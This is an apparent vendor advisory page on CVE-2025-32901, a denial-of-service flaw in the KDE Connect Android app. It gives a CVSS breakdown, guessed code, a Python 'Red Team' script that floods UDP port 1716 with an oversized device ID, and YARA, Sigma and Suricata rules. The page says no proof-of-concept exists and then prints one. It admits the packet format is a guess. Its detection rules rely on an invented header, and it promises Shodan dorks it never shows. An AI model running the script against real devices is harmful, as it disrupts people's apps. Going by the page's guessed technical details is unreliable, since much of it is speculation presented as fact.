CVE-2025-32901
Executive Summary
CVE-2025-32901 is a denial-of-service (DoS) vulnerability in the KDE Connect Android application, affecting versions prior to 1.33.0. The flaw resides in the handling of broadcast UDP packets used for device discovery. A malicious actor on the same local network can send a crafted device ID string that, when processed by the vulnerable application, causes an unhandled exception leading to an application crash. This results in a temporary loss of KDE Connect functionality on the affected Android device. The vulnerability has a CVSS score of 4.3 (Medium) and a low EPSS probability of exploitation (0.0%), indicating it is not currently being actively exploited in the wild. No public proof-of-concept exploit code or Nuclei templates are available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the KDE Connect Android app. The supply chain risk is limited to the distribution of the vulnerable APK via official app stores (Google Play, F-Droid) or direct sideloading. Users are advised to update the application from the official source.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Attack Vector (AV): Adjacent Network (A) – The attacker must be on the same local network as the target.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – The victim does not need to perform any action.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is modified.
- Availability (A): Low (L) – The application crashes, causing a temporary denial of service.
- Base Score: 4.3 (Medium)
- Threat Level: Low to Medium. The attack requires local network access, and the impact is limited to a crash of the KDE Connect app. No data theft or persistent compromise is possible.
Deep Dive & Mechanics
KDE Connect uses UDP broadcast packets on the local network for device discovery. When a device sends a discovery packet, it includes a device ID string. The vulnerable code in versions prior to 1.33.0 does not properly validate the length or content of this device ID. A specially crafted device ID (e.g., an extremely long string or one containing special characters) can trigger an unhandled exception (likely a buffer overflow or format string vulnerability) in the Android application's packet parsing logic. This exception is not caught, causing the application to crash.
The crash is a denial-of-service condition. The application must be manually restarted by the user to restore functionality. The attacker can repeatedly send malicious packets to keep the application from functioning.
Vulnerable vs. Patched Code
The exact code change is not publicly available, but the fix likely involves adding input validation and exception handling for the device ID field.
Vulnerable Code (Conceptual):
// In a UDP packet handler
String deviceId = packet.getString("deviceId");
// No validation or exception handling
processDeviceId(deviceId);
Patched Code (Conceptual):
// In a UDP packet handler
String deviceId = packet.getString("deviceId");
if (deviceId != null && deviceId.length() < MAX_DEVICE_ID_LENGTH) {
try {
processDeviceId(deviceId);
} catch (Exception e) {
Log.e("KDEConnect", "Error processing device ID", e);
}
} else {
Log.w("KDEConnect", "Invalid device ID received");
}
Exploitation & Lab Setup
Red Team
Objective: Crash the KDE Connect application on a target Android device on the same local network.
Prerequisites:
- Python 3 installed on an attacker machine (Linux/Windows/macOS).
- Target Android device with KDE Connect < 1.33.0 installed and running.
- Both machines on the same local network (e.g., same Wi-Fi).
Exploit Script (Python):
import socket
import time
# Target broadcast address (adjust to your network)
BROADCAST_IP = "192.168.1.255"
PORT = 1716 # Default KDE Connect UDP port
# Malicious device ID (very long string)
malicious_id = "A" * 10000
# Craft the packet (simplified - actual format may vary)
packet = f"KDE_CONNECT_DEVICE_ID:{malicious_id}".encode()
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
print(f"Sending malicious packet to {BROADCAST_IP}:{PORT}")
sock.sendto(packet, (BROADCAST_IP, PORT))
sock.close()
Usage:
- Save the script as
exploit.py. - Run
python3 exploit.py. - The KDE Connect app on the target device should crash.
Blue Team
Detection:
- Monitor for UDP packets on port 1716 with unusually long payloads.
- Use network intrusion detection systems (NIDS) to alert on anomalous KDE Connect discovery packets.
- Enable application crash logging on Android devices (via ADB or crash reporting tools).
Mitigation:
- Ensure all KDE Connect installations are updated to version 1.33.0 or later.
- Segment the network to limit exposure of critical devices.
- Use a firewall to restrict UDP broadcast traffic to trusted devices only.
Indicators of Compromise (IOCs)
- Network:
- UDP packets on port 1716 with payloads exceeding 1024 bytes.
- Repeated UDP broadcast packets from a single source to the broadcast address.
- Host (Android):
- KDE Connect application crashes (check
adb logcatforFATAL EXCEPTIONrelated toorg.kde.kdeconnect). - Application logs showing
java.lang.OutOfMemoryErrororjava.lang.RuntimeExceptionduring packet processing.
- KDE Connect application crashes (check
Detection Engineering
YARA Rule
rule CVE_2025_32901_KDE_Connect_DoS {
meta:
description = "Detects malicious KDE Connect UDP packets causing DoS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32901"
strings:
$kde_header = "KDE_CONNECT_DEVICE_ID"
$long_string = /[A-Za-z0-9]{500,}/
condition:
$kde_header and #long_string > 0
}
Sigma Rule
title: KDE Connect DoS Attempt via Malicious Device ID
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects UDP packets targeting KDE Connect with abnormally long device IDs
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: suricata
detection:
selection:
dest_port: 1716
protocol: udp
payload_length: '>1024'
condition: selection
falsepositives:
- Legitimate large device IDs (unlikely)
level: medium
Suricata Rule
alert udp any any -> any 1716 (msg:"CVE-2025-32901 KDE Connect DoS Attempt"; content:"KDE_CONNECT_DEVICE_ID"; pcre:"/[A-Za-z0-9]{500,}/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Update KDE Connect on all Android devices to version 1.33.0 or later.
- If immediate update is not possible, disable the KDE Connect app or restrict its network access via a firewall.
Long-term:
- Implement input validation for all network-received data in the application.
- Add proper exception handling to prevent crashes from malformed packets.
- Consider using a more robust discovery protocol (e.g., mDNS with authentication).
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.
- Enable application crash reporting to identify potential attacks.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.